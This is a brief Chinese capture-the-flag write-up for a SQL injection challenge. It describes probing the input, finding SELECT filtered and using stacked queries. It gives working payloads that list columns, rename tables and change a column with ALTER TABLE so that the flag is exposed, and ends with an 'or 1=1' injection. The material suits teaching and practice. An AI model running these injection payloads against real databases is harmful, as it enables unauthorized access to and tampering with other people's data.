根据题目提示,输入1‘没有回显,输入1’#正常回显
查字段,只有2个
select发现被过滤,尝试堆叠注入。
发现有两个表,分别查看 (查看字符串要加反引号)
1';show columns from `1919810931114514` --+
1';show columns from `words` --+
发现flag存放在1919810931114514里面
由于上面的探测得出搜索框里查询的是words表里的结果,so我们将表1919810931114514改为words,flag列改为id,就可以查询出来flag。
语法为alter table words rename to words1;(将words表改为words1)
alter table users change flag id varchar(30);(将flag字段改为id字段)
完整payload:alter table words rename to words1;alter table `1919810931114514` rename to words;alter table words change flag id varchar(50);#
然后使用1‘ or 1=1;#即可查询出flag
本人菜鸟一枚,欢迎各位大佬私信指教